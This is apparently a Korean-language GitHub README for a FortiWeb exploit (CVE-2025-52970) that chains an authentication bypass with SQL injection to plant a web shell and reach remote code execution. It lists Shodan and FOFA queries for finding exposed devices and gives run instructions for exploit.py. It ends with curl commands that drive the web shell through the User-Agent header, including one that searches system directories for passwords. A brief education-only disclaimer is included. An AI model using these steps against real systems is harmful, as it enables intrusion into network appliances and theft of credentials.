
FortiWeb(CVE-2025-52970)의 인증 우회를 시연하며, SQL 인젝션과 연계하여 웹셸을 업로드하고 HTTP 헤더를 통해 원격 코드 실행을 달성합니다.
이 저장소는 **원격 코드 실행(RCE)**으로 연계할 수 있는 FortiWeb 인증 우회를 시연합니다.
이 익스플로잇은 취약한 엔드포인트를 악용하여 SQL 페이로드를 주입하고, 웹셸을 업로드하며, HTTP 헤더를 통해 명령을 실행합니다.
⚠️ 면책 조항:
이 프로젝트는 교육 및 연구 목적으로만 제공됩니다.
소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에는 사용하지 마십시오.
((FortiWeb)) AND port:("8443")
### FOFA
title="FortiWeb" && port="8443"
### Shodan
ssl:"FortiWeb" port:8443
http.title:"FortiWeb" port:8443
CVE: CVE-2025-52970
구성 요소: FortiWeb Fabric API (/api/fabric/device/status)
영향: 인증 우회 → SQL 인젝션 → 웹셸 업로드 → RCE
공격 벡터: 조작된 Authorization 헤더 + SQL 인젝션
임시 SQL 테이블을 삭제하고 생성합니다.
웹셸 페이로드를 청크 단위로 작성합니다.
셸을 /cgi-bin/x.cgi로 내보냅니다.
권한을 트리거하기 위해 헬퍼 Python 스크립트를 업로드합니다.
User-Agent 헤더를 통해 명령을 전송하여 웹셸에 접근합니다.
git clone https://github.com/your-username/Fortinet-AuthBypass-Exploit.git
cd Fortinet-AuthBypass-Exploit
python3 exploit.py -t https://TARGET:8443/
3️⃣ 웹셸과 상호 작용
curl -ks -H 'User-Agent: id' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: whoami' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: uname -a' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: grep -ril pass /etc /conf /data 2>/dev/null' https://TARGET:8443/cgi-bin/x.cgi
